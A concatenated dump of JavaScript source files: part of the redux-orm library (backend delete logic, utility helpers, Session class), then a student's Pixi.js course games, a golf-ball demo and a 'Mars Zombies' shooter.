* @return {Object} the data structure without ids in `idsToDelete`.
*/
delete(branch, idsToDelete) {
const {arrName, mapName, idAttribute} = this;
const arr = branch[arrName];
if (this.indexById) {
if (this.withMutations) {
idsToDelete.forEach(id => {
const idx = arr.indexOf(id);
if (idx !== -1) {
arr.splice(idx, 1);
}
delete branch[mapName][id];
});
return branch;
}
return {
[arrName]: branch[arrName].filter(id => !idsToDelete.includes(id)),
[mapName]: omit(branch[mapName], idsToDelete),
};
}
if (this.withMutations) {
idsToDelete.forEach(id => {
const idx = arr.indexOf(id);
if (idx === -1) {
arr.splice(idx, 1);
}
});
return branch;
}
return {
[arrName]: arr.filter(entity => !idsToDelete.includes(entity[idAttribute])),
};
}
};
export default Backend;
<file_sep>import forOwn from 'lodash/object/forOwn';
import intersection from 'lodash/array/intersection';
import difference from 'lodash/array/difference';
/**
* @module utils
*/
/**
* A simple ListIterator implementation.
*/
class ListIterator {
/**
* Creates a new ListIterator instance.
* @param {Array} list - list to iterate over
* @param {Number} [idx=0] - starting index. Defaults to `0`
* @param {Function} [getValue] a function that receives the current `idx`
* and `list` and should return the value that
* `next` should return. Defaults to `(idx, list) => list[idx]`
*/
constructor(list, idx, getValue) {
this.list = list;
this.idx = idx || 0;
if (typeof getValue === 'function') {
this.getValue = getValue;
}
}
/**
* The default implementation for the `getValue` function.
*
* @param {Number} idx - the current iterator index
* @param {Array} list - the list being iterated
* @return {*} - the value at index `idx` in `list`.
*/
getValue(idx, list) {
return list[idx];
}
/**
* Returns the next element from the iterator instance.
* Always returns an Object with keys `value` and `done`.
* If the returned element is the last element being iterated,
* `done` will equal `true`, otherwise `false`. `value` holds
* the value returned by `getValue`.
*
* @return {Object|undefined} Object with keys `value` and `done`, or
* `undefined` if the list index is out of bounds.
*/
next() {
if (this.idx < this.list.length - 1) {
return {
value: this.getValue(this.list, this.idx++),
done: false,
};
} else if (this.idx < this.list.length) {
return {
value: this.getValue(this.list, this.idx++),
done: true,
};
}
return undefined;
}
}
/**
* Checks if the properties in `lookupObj` match
* the corresponding properties in `entity`.
*
* @private
* @param {Object} lookupObj - properties to match against
* @param {Object} entity - object to match
* @return {Boolean} Returns `true` if the property names in
* `lookupObj` have the same values in `lookupObj`
* and `entity`, `false` if not.
*/
function match(lookupObj, entity) {
const keys = Object.keys(lookupObj);
return keys.every((key) => {
return lookupObj[key] === entity[key];
});
}
function capitalize(string) {
return string.charAt(0).toUpperCase() + string.slice(1);
}
/**
* Returns the branch name for a many-to-many relation.
* The name is the combination of the model name and the field name the relation
* was declared. The field name's first letter is capitalized.
*
* Example: model `Author` has a many-to-many relation to the model `Book`, defined
* in the `Author` field `books`. The many-to-many branch name will be `AuthorBooks`.
*
* @private
* @param {string} declarationModelName - the name of the model the many-to-many relation was declared on
* @param {string} fieldName - the field name where the many-to-many relation was declared on
* @return {string} The branch name for the many-to-many relation.
*/
function m2mName(declarationModelName, fieldName) {
return declarationModelName + capitalize(fieldName);
}
/**
* Returns the fieldname that saves a foreign key to the
* model id where the many-to-many relation was declared.
*
* Example: `Author` => `fromAuthorId`
*
* @private
* @param {string} declarationModelName - the name of the model where the relation was declared
* @return {string} the field name in the through model for `declarationModelName`'s foreign key.
*/
function m2mFromFieldName(declarationModelName) {
return `from${declarationModelName}Id`;
}
/**
* Returns the fieldname that saves a foreign key in a many-to-many through model to the
* model where the many-to-many relation was declared.
*
* Example: `Book` => `toBookId`
*
* @private
* @param {string} otherModelName - the name of the model that was the target of the many-to-many
* declaration.
* @return {string} the field name in the through model for `otherModelName`'s foreign key..
*/
function m2mToFieldName(otherModelName) {
return `to${otherModelName}Id`;
}
function reverseFieldName(modelName) {
return modelName.toLowerCase() + 'Set';
}
function querySetDelegatorFactory(methodName) {
return function querySetDelegator(...args) {
return this.getQuerySet()[methodName](...args);
};
}
function querySetGetterDelegatorFactory(getterName) {
return function querySetGetterDelegator() {
const qs = this.getQuerySet();
return qs[getterName];
};
}
function forEachSuperClass(subClass, func) {
let currClass = subClass;
while (currClass !== Function.prototype) {
func(currClass);
currClass = Object.getPrototypeOf(currClass);
}
}
function attachQuerySetMethods(modelClass, querySetClass) {
const leftToDefine = querySetClass.sharedMethods.slice();
// There is no way to get a property descriptor for the whole prototype chain;
// only from an objects own properties. Therefore we traverse the whole prototype
// chain for querySet.
forEachSuperClass(querySetClass, (cls) => {
for (let i = 0; i < leftToDefine.length; i++) {
let defined = false;
const methodName = leftToDefine[i];
const descriptor = Object.getOwnPropertyDescriptor(cls.prototype, methodName);
if (typeof descriptor !== 'undefined') {
if (typeof descriptor.get !== 'undefined') {
descriptor.get = querySetGetterDelegatorFactory(methodName);
Object.defineProperty(modelClass, methodName, descriptor);
defined = true;
} else if (typeof descriptor.value === 'function') {
modelClass[methodName] = querySetDelegatorFactory(methodName);
defined = true;
}
}
if (defined) {
leftToDefine.splice(i--, 1);
}
}
});
}
/**
* Normalizes `entity` to an id, where `entity` can be an id
* or a Model instance.
*
* @private
* @param {*} entity - either a Model instance or an id value
* @return {*} the id value of `entity`
*/
function normalizeEntity(entity) {
if (entity !== null &&
typeof entity !== 'undefined' &&
typeof entity.getId === 'function') {
return entity.getId();
}
return entity;
}
/**
* Checks if `target` needs to be merged with
* `source`. Does a shallow equal check on the `source`
* object's own properties against the same
* properties on `target`. If all properties are equal,
* returns `null`. Otherwise returns an object
* with the properties that did not pass
* the equality check. The returned object
* can be used to update `target` immutably
* while sharing more structure.
*
* @private
* @param {Object} target - the object to update
* @param {Object} source - the updated props
* @return {Object|null} an object with the inequal props from `source`
* or `null` if no updates or needed.
*/
function objectDiff(target, source) {
const diffObj = {};
let shouldUpdate = false;
forOwn(source, (value, key) => {
if (!target.hasOwnProperty(key) ||
target[key] !== source[key]) {
shouldUpdate = true;
diffObj[key] = value;
}
});
return shouldUpdate ? diffObj : null;
}
function arrayDiffActions(targetArr, sourceArr) {
const itemsInBoth = intersection(targetArr, sourceArr);
const deleteItems = difference(targetArr, itemsInBoth);
const addItems = difference(sourceArr, itemsInBoth);
if (deleteItems.length || addItems.length) {
return {
delete: deleteItems,
add: addItems,
};
}
return null;
}
function reverseFieldErrorMessage(modelName, fieldName, toModelName, backwardsFieldName) {
return [`Reverse field ${backwardsFieldName} already defined`,
` on model ${toModelName}. To fix, set a custom related`,
` name on ${modelName}.${fieldName}.`].join('');
}
function objectShallowEquals(a, b) {
let keysInA = 0;
let keysInB = 0;
forOwn(a, (value, key) => {
if (!b.hasOwnProperty(key) || b[key] !== value) {
return false;
}
keysInA++;
});
for (const key in b) {
if (b.hasOwnProperty(key)) keysInB++;
}
return keysInA === keysInB;
}
export {
match,
attachQuerySetMethods,
m2mName,
m2mFromFieldName,
m2mToFieldName,
reverseFieldName,
ListIterator,
normalizeEntity,
objectDiff,
arrayDiffActions,
reverseFieldErrorMessage,
objectShallowEquals,
};
<file_sep>import partition from 'lodash/collection/partition';
/**
* Session handles a single
* action dispatch.
*/
const Session = class Session {
/**
* Creates a new Session.
*
* @param {Schema} schema - a {@link Schema} instance
* @param {Object} state - the database state
* @param {Object} [action] - the current action in the dispatch cycle.
* Will be passed to the user defined reducers.
* @param {Boolean} withMutations - whether the session should mutate data
*/
constructor(schema, state, action, withMutations) {
this.schema = schema;
this.state = state || schema.getDefaultState();
this.action = action;
this.withMutations = !!withMutations;
this.updates = [];
this._accessedModels = {};
this.modelData = {};
this.models = schema.getModelClasses();
this.sessionBoundModels = this.models.map(modelClass => {
const sessionBoundModel = class SessionBoundModel extends modelClass {};
Object.defineProperty(this, modelClass.modelName, {
get: () => sessionBoundModel,
});
sessionBoundModel.connect(this);
return sessionBoundModel;
});
}
markAccessed(model) {
this.getDataForModel(model.modelName).accessed = true;
}
get accessedModels() {
return this.sessionBoundModels.filter(model => {
return !!this.getDataForModel(model.modelName).accessed;
}).map(model => model.modelName);
}
getDataForModel(modelName) {
if (!this.modelData[modelName]) {
this.modelData[modelName] = {};
}
return this.modelData[modelName];
}
/**
* Records an update to the session.
*
* @private
* @param {Object} update - the update object. Must have keys
* `type`, `payload` and `meta`. `meta`
* must also include a `name` attribute
* that contains the model name.
*/
addUpdate(update) {
if (this.withMutations) {
const modelName = update.meta.name;
const modelState = this.getState(modelName);
// The backend used in the updateReducer
// will mutate the model state.
this[modelName].updateReducer(modelState, update);
} else {
this.updates.push(update);
}
}
/**
* Gets the recorded updates for `modelClass` and
* deletes them from the {@link Session} instance updates list.
*
* @private
* @param {Model} modelClass - the model class to get updates for
* @return {Object[]} A list of the user-recorded updates for `modelClass`.
*/
getUpdatesFor(modelClass) {
const [updates, other] = partition(
this.updates,
'meta.name',
modelClass.modelName);
this.updates = other;
return updates;
}
/**
* Returns the current state for a model with name `modelName`.
*
* @private
* @param {string} modelName - the name of the model to get state for.
* @return {*} The state for model with name `modelName`.
*/
getState(modelName) {
return this.state[modelName];
}
/**
* Applies recorded updates and returns the next state.
* @param {Object} [opts] - Options object
* @param {Boolean} [opts.runReducers] - A boolean indicating if the user-defined
* model reducers should be run. If not specified,
* is set to `true` if an action object was specified
* on session instantiation, otherwise `false`.
* @return {Object} The next state
*/
getNextState(userOpts) {
if (this.withMutations) return this.state;
const prevState = this.state;
const action = this.action;
const opts = userOpts || {};
// If the session does not have a specified action object,
// don't run the user-defined model reducers unless
// explicitly specified.
const runReducers = opts.hasOwnProperty('runReducers')
? opts.runReducers
: !!action;
const nextState = this.sessionBoundModels.reduce((_nextState, modelClass) => {
const modelState = this.getState(modelClass.modelName);
let nextModelState;
if (runReducers) {
nextModelState = modelClass.reducer(modelState, action, modelClass, this);
}
if (typeof nextModelState === 'undefined') {
// If the reducer wasn't run or it didn't
// return the next state,
// we get the next state manually.
nextModelState = modelClass.getNextState();
}
if (nextModelState !== prevState[modelClass.modelName]) {
if (_nextState === prevState) {
// We know that something has changed, so we cannot
// return the previous state. Switching this reduce function
// to use a shallowcopied version of the previous state.
const prevStateCopied = Object.assign({}, prevState);
prevStateCopied[modelClass.modelName] = nextModelState;
return prevStateCopied;
}
_nextState[modelClass.modelName] = nextModelState;
}
return _nextState;
}, prevState);
// The remaining updates are for M2M tables.
let finalState = nextState;
if (this.updates.length > 0) {
if (finalState === prevState) {
// If we're still working with the previous state,
// shallow copy it since we have updates for sure now.
finalState = Object.assign({}, prevState);
}
finalState = this.updates.reduce((state, update) => {
const modelName = update.meta.name;
state[modelName] = this[modelName].getNextState();
return state;
}, finalState);
} else {
finalState = nextState;
}
this.updates = [];
return finalState;
}
/**
* Calls the user-defined reducers and returns the next state.
* If the session uses mutations, just returns the state.
* Delegates to {@link Session#getNextState}
*
* @return {Object} the next state
*/
reduce() {
return this.getNextState({ runReducers: true });
}
};
export default Session;
|
bc6c4b16a50192eb1a95847646ff835d42d0370e
|
[
"JavaScript"
] | 3 |
JavaScript
|
jef-rl/redux-orm
|
0d072835ae1b2af68f11aef5da8f31a9d4286c43
|
8b0719b17f4d0e639d51ad85811f2fa7992f7764
|
refs/heads/master
|
<repo_name>chrisswhitneyy/cs418_virtualWorlds<file_sep>/README.md
#CS413 Virtual Worlds (Summer 2016)
Code repo for all course projects. Simple games devoloped in Javascript using the Pixi lib.
<file_sep>/project1/game.js
/*******
CS 413 Project 1-Minimalism
Purpose: To demostrate basic understanding of the core techniologies
needed for this course, this includes, PIXI.js, bitmap graphics, and
sceen graph organization.
Each stage has a setup and play function, the setup function is only
called once to create the sub stages, and the play function is called
repeatly by the animate(). The play function checks and updates
the main_stage and renders.
Note (4/16/16): Major improvements are needed to the collisions
calculations.
Author: <NAME>
*******/
//Aliases for PIXI.js
var Container = PIXI.Container,
Sprite = PIXI.Sprite,
Text = PIXI.Text,
Texture = PIXI.Texture,
autoDetectRenderer = PIXI.autoDetectRenderer,
loader = PIXI.loader,
resources = PIXI.loader.resources;
//gets gameport div element
var gameport = document.getElementById("gameport");
//auto detect best render for the browsers
var renderer = autoDetectRenderer(400,400);
//appends renderer view to gameport
gameport.appendChild(renderer.view);
//set document event handler
document.addEventListener('keydown',keydownEventHandler);
//game stage
var main_stage = new Container(0x000000, true); //main stage
var board = new Container(); //game board
var win = new Container(); //win text
PIXI.SCALE_MODES.DEFAULT = PIXI.SCALE_MODES.NEAREST;
//load assets
loader.add("assets/golf_ball.png");
loader.add("assets/hole.png");
loader.add("assets/background.png");
//loaders calls menu_setup()
loader.load(boardSetup);
//vars seen by both setup and play
var golf_ball,hole,board,holes,hole_board,state;
//boardSetup: This function adds child elements to the board stage,
//this includes a grass background,an golf ball, and a hole.
function boardSetup(){
//creates instances of background sprite
background = new Sprite(resources["assets/background.png"].texture);
//adds background to main_stage
main_stage.addChild(background);
//creates instances of golf_ball sprite and adjusts position
golf_ball = new Sprite(resources["assets/golf_ball.png"].texture);
golf_ball.y = 96;
golf_ball.x = 96;
//sets holes anchors
golf_ball.anchor.x = 0.5;
golf_ball.anchor.y = 0.5;
//adds golf_ballt to board stage
board.addChild(golf_ball);
//creates instances of hole sprite and initial position
hole = new Sprite(resources["assets/hole.png"].texture);
hole.y = 100;
hole.x = 200;
//sets holes anchors
hole.anchor.x = 0.5;
hole.anchor.y = 0.5;
//adds hole to the board stage
board.addChild(hole);
// hole board
holes = 0;
hole_board = new Text("Holes made: " + holes , {font:"20px Arial", fill:"wholee"});
board.addChild(hole_board);
//adds board to main_stage
main_stage.addChild(board);
//sets holes to zero
holes = 0;
//sets state
state = playBoard;
//call animate()
animate();
}
//winSetup: this function sets up the win stage with some text.
function winSetup(){
//creates instances of win text and adjusts position
var text = new Text("Congrats you won.",{font : '24px Arial', fill : 0x000000});
//adds text to win stage
win.addChild(text);
//adds win stage to main_stage
main_stage.addChild(win);
//render main_stage
renderer.render(main_stage);
}
//animate: animates, calls state, and renders main_stage
function animate(){
//Loops 60 times per second
requestAnimationFrame(animate);
//Update the current game state
state();
//Render the stage
renderer.render(main_stage);
}
//playBoard: game logic
function playBoard(){
collsionCheck();
//rotate the hole
hole.rotation += 0.1;
var randnum = Math.random(0,1);
var new_x = hole.position.x + randnum;
var new_y = hole.position.y + randnum;
if(new_x < renderer.width){
hole.position.x += randnum;
console.log("Renderer width = " + renderer.width);
console.log("Hole x = " + hole.position.x);
}
if(new_y < renderer.height){
hole.position.y += Math.random(0,1);
console.log("Renderer height = " + renderer.height);
console.log("Hole y = " + hole.position.y);
}
golf_ball.rotation += 0.1;
}
//collsionCheck: checks the distances of the hole to the golf ball,
//if close and total holes made less than five places new hole,
//if total 5 hide board stage and call winSetup().
function collsionCheck(){
var xdistance = golf_ball.position.x - hole.position.x;
var ydistance = golf_ball.position.y - hole.position.y;
var distance = Math.sqrt(xdistance^2 + ydistance^2);
if (distance < 7 && holes < 5) {
placeHole();
holes += 1;
hole_board.text = "Holes made: " + holes;
}
if (holes == 5){
board.visible = false;
winSetup();
}
}
//placeHole: randomdly places a hole on the board
function placeHole() {
// get random numbers
var randx = 10 * Math.floor((Math.random() * 39) + 1);
var randy = 10 * Math.floor((Math.random() * 39) + 1);
// move the hole to random location
hole.position.x = randx;
hole.position.y = randy;
}
//Event handler
function keydownEventHandler(e){
// if statements for WASD and arrow keys to move golf_ball
//up
if (e.keyCode === 87 || e.keyCode === 38) {
e.preventDefault(); // prevents browser from scrolling when using arrow keys
if (golf_ball.position.y != 10) { // won't let the ball move off the stage
golf_ball.position.y -= 10; // move the ball
}
}
//down
if (e.keyCode === 83 || e.keyCode === 40) {
e.preventDefault();
if (golf_ball.position.y != renderer.height - 10) {
golf_ball.position.y += 10;
}
}
//left
if (e.keyCode === 65 || e.keyCode === 37) {
e.preventDefault();
if (golf_ball.position.x != 10) {
golf_ball.position.x -= 10;
}
}
//right
if (e.keyCode === 68 || e.keyCode === 39) {
e.preventDefault();
if (golf_ball.position.x != renderer.width - 10) {
golf_ball.position.x += 10;
}
}
renderer.render(main_stage);
}
<file_sep>/project4/game.js
/*****
Project 4: Mars Zombies
The year is 2075 and humanity has begun to colonize mars,however,
this is the not the first time life has landed...life that has
been causing mutations within the colonizers. These mutations
cause the colonizers to turn green and desire flesh. Now you must
use your lasers to kill the mars zombies! To move us the A and D key.
To shoot use the space bar.
Author: <NAME>
******/
const GAME_HEIGHT = 400;
const GAME_WIDTH = 800;
const GAME_SCALE = 1;
var gameport = document.getElementById("gameport");
var renderer = PIXI.autoDetectRenderer(GAME_WIDTH,GAME_HEIGHT,{backgroundColor: 0x000000});
gameport.appendChild(renderer.view);
var stage = new PIXI.Container();
// Character movement constants
const MOVE_NONE = 0;
const MOVE_LEFT = 1;
const MOVE_RIGHT = 2;
const FIRE = 3;
// Sub stages and state vars
var menuStage;
var levelStage;
var state;
var listenerType;
// Menu var
var selector;
// Game vars
var world;
var player;
var lasers;
var zombies;
var bonuses;
var emitter;
// The move function starts or continues movement of the player
function move() {
if(!player) return;
var new_postion = new PIXI.Sprite(player.texture);
new_postion.x = player.x;
new_postion.y = player.y;
if (player.direction == MOVE_NONE) {
player.texture = new PIXI.Texture.fromFrame('marsman2.png');
player.moving = false;
return;
}
player.moving = true;
player.texture = new PIXI.Texture.fromFrame('marsman2.png');
if (player.direction == MOVE_LEFT)
new_postion.x-= 40;
if (player.direction == MOVE_RIGHT)
new_postion.x+= 40;
if(player.direction == FIRE){
player.texture = new PIXI.Texture.fromFrame('marsman1.png');
shoot(player.lasernum);
}
// tween player to new position
createjs.Tween.get(player).to({y:new_postion.y,x:new_postion.x},500,createjs.Ease.linear).call(move);
}
// The move function starts or continues movement of the zombies
function moveZombies(speed){
if(!zombies) return;
for (i=0; i<zombies.length;i++){
if(zombies[i].lastmoved == speed*25){
createjs.Tween.get(zombies[i]).to({x:zombies[i].x -= speed*5},speed,createjs.Ease.easeInElastic);
zombies[i].lastmoved = 0;
}
zombies[i].lastmoved ++;
}
}
// Generates and move player lasers
function shoot(n) {
if(!levelStage) return;
if(!player.visible) return;
for(i=0; i<n; i++){
// Inits laser circle graphics
var laser = new PIXI.Graphics();
laser.beginFill(0xe74c3c);
// X and Y offset to players hand
laser.drawCircle(player.x+45,player.y+95,4);
laser.endFill();
levelStage.addChild(laser);
createjs.Tween.removeTweens(laser.position);
createjs.Tween.get(laser.position).to({x: laser.x+1000}, 400+i*40);
sound = PIXI.audioManager.getAudio("assets/shot.mp3");
sound.play();
lasers.push(laser);
}
}
// Moves menu selctor
function moveSelector(y){
if (!selector) return;
createjs.Tween.removeTweens(selector.position);
createjs.Tween.get(selector.position).to({y: 10 + y}, 500, createjs.Ease.bounceOut);
}
var menu = StateMachine.create({
initial: {state: 'play', event: 'init'},
error: function() {},
events: [
{name: "down", from: "play", to: "tutorial"},
{name: "down", from: "tutorial", to: "tutorial"},
{name: "up", from: "play", to: "play"},
{name: "up", from: "tutorial", to: "play"},
{name: "up", from: "credits", to: "tutorial"}],
callbacks: {
onplay: function() { moveSelector(0); },
ontutorial: function() { moveSelector(50*1); }
}
});
function onKeyDown(e){
e.preventDefault();
switch (listenerType) {
case "menu":
if (e.keyCode == 87) // W key
menu.up();
if (e.keyCode == 83) // S key
menu.down();
if (e.keyCode == 13){ // Enter key
menuStage.visible = false;
switch (menu.current) {
case "play":
level1Setup();
break;
case "credits":
creditsSetup();
break;
case "tutorial":
level0Setup();
break;
default: return;
}
}
break;
case "play":
if (!player) return;
if (player.moving) return;
if (e.repeat == true) return;
player.direction = MOVE_NONE;
if (e.keyCode == 87)
player.direction = JUMP;
else if (e.keyCode == 65)
player.direction = MOVE_LEFT;
else if (e.keyCode == 68)
player.direction = MOVE_RIGHT;
else if (e.keyCode == 32)
player.direction = FIRE;
else if (e.keyCode == 13)
restart();
move();
break;
default: return;
}
}
function onKeyUp(e) {
e.preventDefault();
if (!player) return;
player.direction = MOVE_NONE;
};
listenerType = "menu";
window.addEventListener("keydown",onKeyDown);
window.addEventListener("keyup",onKeyUp);
PIXI.loader
.add("assets/level0map","assets/level0map.json")
.add("assets/level1map","assets/level1map.json")
.add("assets/level2map","assets/level2map.json")
.add("assets/level3map","assets/level3map.json")
.add("assets/shot.mp3","assets/shot.mp3")
.add("assets/powerup.mp3","assets/powerup.mp3")
.add("assets/zombiehit.mp3","assets/zombiehit.mp3")
.add("assets/tileset.png","assets/tileset.png")
.add("assets/assets.json","assets/assets.json")
.add("gamefont.fnt","assets/gamefont.fnt")
.add("assets/particle.png","assets/particle.png")
.load(menuSetup);
/*****
Setup functions: These functions create a given stage and
adds all the Sprites that will appear. These functions then
call animate. Optionally one can set the variable state eqaul
a running state function which will be called everything animation
is called.
******/
// Setup function for the menu
function menuSetup(){
menuStage = new PIXI.Container();
emitter = new PIXI.particles.Emitter(
menuStage,
// I downloaded the image from http://pixijs.github.io/pixi-particles-editor/
[PIXI.Texture.fromImage("assets/particle.png")],
// Emitter configuration; This was copied and pasted from the file
// downloaded from http://pixijs.github.io/pixi-particles-editor/
{
"alpha": {
"start": 1,
"end": 0.7
},
"scale": {
"start": 1,
"end": 0.01,
"minimumScaleMultiplier": 20
},
"color": {
"start": "#382400",
"end": "#470101"
},
"speed": {
"start": 100,
"end": 100
},
"acceleration": {
"x": 0,
"y": 0
},
"startRotation": {
"min": 0,
"max": 360
},
"rotationSpeed": {
"min": 0,
"max": 0
},
"lifetime": {
"min": 0.2,
"max": 0.8
},
"blendMode": "add",
"frequency": 0.001,
"emitterLifetime": -1,
"maxParticles": 500,
"pos": {
"x": 0,
"y": 0
},
"addAtBack": false,
"spawnType": "circle",
"spawnCircle": {
"x": 0,
"y": 0,
"r": 0
}
});
var text = new PIXI.extras.BitmapText("<NAME>", {font: "75px gamefont"});
text.position.x = 45;
text.position.y = 10;
menuStage.addChild(text);
text = new PIXI.extras.BitmapText("Credited by\nChristopher\nWhitney", {font: "15px gamefont"});
text.position.x = 350;
text.position.y = 300;
menuStage.addChild(text);
options = new PIXI.extras.BitmapText("play\ntutorial", {font: "45px gamefont"});
options.position.x = 45;
options.position.y = 120;
menuStage.addChild(options);
selector = new PIXI.Graphics();
selector.beginFill(0xe74c3c);
selector.drawCircle(options.x,options.y+15,10);
selector.endFill();
menuStage.addChild(selector);
stage.addChild(menuStage);
emitter.emit = true;
emitter.update(0, 200);
animate();
}
// Setup function for the level0/tutorial
function level0Setup(){
listenerType = "play";
var tu = new TileUtilities(PIXI);
world = tu.makeTiledWorld("assets/level0map", "assets/tileset.png");
stage.addChild(world);
levelStage = new PIXI.Container();
var text = new PIXI.extras.BitmapText("Press\nA to move left\nD to move right\nspace to shoot", {font: "15px gamefont"});
text.position.x = 45;
text.position.y = 10;
levelStage.addChild(text);
player = new PIXI.Sprite(PIXI.Texture.fromFrame("marsman2.png"));
player.x = 10;
player.y = 165;
player.scale.x = 2;
player.scale.y = 2;
player.health = 5;
player.won = false;
player.lasernum = 1;
levelStage.addChild(player);
// Init lasers and zombies list
lasers = [];
zombies = [];
// Spans two zombies
spanZombies(2);
world.addChild(levelStage);
state = level0;
animate();
}
function level1Setup(){
listenerType = "play";
var tu = new TileUtilities(PIXI);
world = tu.makeTiledWorld("assets/level1map", "assets/tileset.png");
stage.addChild(world);
levelStage = new PIXI.Container();
bonus = new PIXI.Sprite(PIXI.Texture.fromFrame("bonus.png"));
bonus.x = 400;
bonus.y = 290;
bonus.type = "shootImprovement";
levelStage.addChild(bonus);
player = new PIXI.Sprite(PIXI.Texture.fromFrame("marsman2.png"));
player.x = 10;
player.y = 165;
player.scale.x = 2;
player.scale.y = 2;
player.health = 5;
player.won = false;
player.lasernum = 1;
levelStage.addChild(player);
// Init lists
lasers = [];
zombies = [];
bonuses = [bonus];
// Spans intial two zombies
spanZombies(2);
levelStage.numspans = 1;
levelStage.maxspans = 2;
levelStage.spancounter = 0;
world.addChild(levelStage);
state = level1;
animate();
}
function level2setup(){
stage.removeChild(world);
var tu = new TileUtilities(PIXI);
world = tu.makeTiledWorld("assets/level2map", "assets/tileset.png");
stage.addChild(world);
levelStage = new PIXI.Container();
bonus = new PIXI.Sprite(PIXI.Texture.fromFrame("bonus.png"));
bonus.x = 400;
bonus.y = 290;
bonus.type = "shootImprovement";
levelStage.addChild(bonus);
player = new PIXI.Sprite(PIXI.Texture.fromFrame("marsman2.png"));
player.x = 10;
player.y = 165;
player.scale.x = 2;
player.scale.y = 2;
player.health = 5;
player.won = false;
player.lasernum = 2;
levelStage.addChild(player);
// Init lasers and zombies list
lasers = [];
zombies = [];
bonuses = [bonus];
// Spans intial two zombies
spanZombies(3);
levelStage.numspans = 1;
levelStage.maxspans = 4;
levelStage.spancounter = 0;
world.addChild(levelStage);
state = level2;
animate();
}
function level3setup(){
stage.removeChild(world);
var tu = new TileUtilities(PIXI);
world = tu.makeTiledWorld("assets/level3map", "assets/tileset.png");
stage.addChild(world);
levelStage = new PIXI.Container();
bonus = new PIXI.Sprite(PIXI.Texture.fromFrame("bonus.png"));
bonus.x = 200;
bonus.y = 290;
bonus.type = "shootImprovement";
levelStage.addChild(bonus);
player = new PIXI.Sprite(PIXI.Texture.fromFrame("marsman2.png"));
player.x = 10;
player.y = 165;
player.scale.x = 2;
player.scale.y = 2;
player.health = 5;
player.won = false;
player.lasernum = 1;
levelStage.addChild(player);
// Init lasers and zombies list
lasers = [];
zombies = [];
bonuses = [bonus];
// Spans intial two zombies
spanZombies(4);
levelStage.numspans = 1;
levelStage.maxspans = 5;
levelStage.spancounter = 0;
world.addChild(levelStage);
state = level3;
animate();
}
function level3setup(){
stage.removeChild(world);
var tu = new TileUtilities(PIXI);
world = tu.makeTiledWorld("assets/level3map", "assets/tileset.png");
stage.addChild(world);
levelStage = new PIXI.Container();
bonus = new PIXI.Sprite(PIXI.Texture.fromFrame("bonus.png"));
bonus.x = 200;
bonus.y = 290;
bonus.type = "shootImprovement";
levelStage.addChild(bonus);
player = new PIXI.Sprite(PIXI.Texture.fromFrame("marsman2.png"));
player.x = 10;
player.y = 165;
player.scale.x = 2;
player.scale.y = 2;
player.health = 5;
player.won = false;
player.lasernum = 1;
levelStage.addChild(player);
// Init lasers and zombies list
lasers = [];
zombies = [];
bonuses = [bonus];
// Spans intial two zombies
spanZombies(4);
levelStage.numspans = 1;
levelStage.maxspans = 5;
levelStage.spancounter = 0;
world.addChild(levelStage);
state = level3;
animate();
}
function looseSetup(){
var text = new PIXI.extras.BitmapText("You've been eaten!\nPress enter to return to play again", {font: "10px gamefont"});
text.position.x = player.x-35;
text.position.y = player.y;
levelStage.addChild(text);
animate();
}
function winSetup(){
var text = new PIXI.extras.BitmapText("Congrats you won!\nPress enter to return to play again", {font: "10px gamefont"});
text.x = player.x + 35;
text.y = player.y;
stage.addChild(text);
state = win;
animate();
}
function animate(timestamp){
requestAnimationFrame(animate);
if(player)update_camera();
if(state)state();
if(emitter) {
emitter.updateSpawnPos(50,10);
}
renderer.render(stage);
}
/*****
Running State Functions: These functions are called every time
animate is called and is where the game logic is located.
*****/
//Level0/tutorial running state functions
function level0(){
laserCollsionCheck();
if(checkWin()) winSetup();
zombieCollsionCheck();
moveZombies(1);
}
function level1(){
laserCollsionCheck();
if(checkEndLevel() && checkWin()){
level2setup();
}
bonusesCollsionCheck();
zombieCollsionCheck();
moveZombies(1);
if(levelStage.spancounter == 100
&& levelStage.maxspans != levelStage.numspans){
spanZombies(3);
levelStage.numspans++;
levelStage.spancounter = 0;
return;
}
levelStage.spancounter++;
}
function level2(){
laserCollsionCheck();
if(checkEndLevel() && checkWin()){
level3setup();
}
bonusesCollsionCheck();
zombieCollsionCheck();
moveZombies(2);
if(levelStage.spancounter == 100
&& levelStage.maxspans != levelStage.numspans){
spanZombies(4);
levelStage.numspans++;
levelStage.spancounter = 0;
return;
}
levelStage.spancounter++;
}
function level3(){
laserCollsionCheck();
if(checkEndLevel() && checkWin()){
winSetup();
}
bonusesCollsionCheck();
zombieCollsionCheck();
moveZombies(2);
if(levelStage.spancounter == 50
&& levelStage.maxspans != levelStage.numspans){
spanZombies(5);
levelStage.numspans++;
levelStage.spancounter = 0;
return;
}
levelStage.spancounter++;
}
function win(){}
// Updates the stages x and y so that the player moves through
// the world.
function update_camera() {
stage.x = -player.x*GAME_SCALE + GAME_WIDTH/2 - player.width/2*GAME_SCALE;
stage.y = -player.y*GAME_SCALE + GAME_HEIGHT/2 + player.height/2*GAME_SCALE;
stage.x = -Math.max(0, Math.min(world.worldWidth*GAME_SCALE - GAME_WIDTH, -stage.x));
stage.y = -Math.max(0, Math.min(world.worldHeight*GAME_SCALE - GAME_HEIGHT, -stage.y));
}
// Checks if any lasers collided with a zombie
// If the zombies is zero it is remove from the stage
// and true else false
function laserCollsionCheck(){
if(!lasers || !zombies) return;
//loops through all the lasers and zombies
for (i=0;i<lasers.length;i++){
for(j=0;j<zombies.length;j++){
if(!lasers[i]) return;
if(lasers[i].x >= zombies[j].x- zombies[j].width){
zombies[j].health --;
if(zombies[j].health==0){
levelStage.removeChild(zombies[j]);
zombies.splice(j,1);
levelStage.removeChild(lasers[i]);
lasers.splice(i,1);
hit = PIXI.audioManager.getAudio("assets/zombiehit.mp3");
hit.play();
return true;
}
zombies[j].texture = new PIXI.Texture.fromFrame('zoombie4.png');
levelStage.removeChild(lasers[i]);
lasers.splice(i,1);
hit = PIXI.audioManager.getAudio("assets/zombiehit.mp3");
hit.play();
}
}
}
if(zombies.length == 0){
player.won = true;
}
return false;
}
// Returns true if zombie collsion and player still alive.
// If collsion and playes health is zero then it calls the
// looseSetup
function zombieCollsionCheck(){
if(!zombies || !player) return;
for(i=0;i<zombies.length;i++){
if(player.x >= zombies[i].x - zombies[i].width){
player.health --;
if(player.health == 0) {
player.visible = false;
looseSetup();
}
return true;
}
}
return false;
}
// Detects players collsion with a bonus box
function bonusesCollsionCheck(){
if(!player || !bonuses) return;
for (i=0; i<bonuses.length; i++){
if(player.x >= bonuses[i].x - bonuses[i].width){
switch (bonuses[i].type) {
case "shootImprovement":
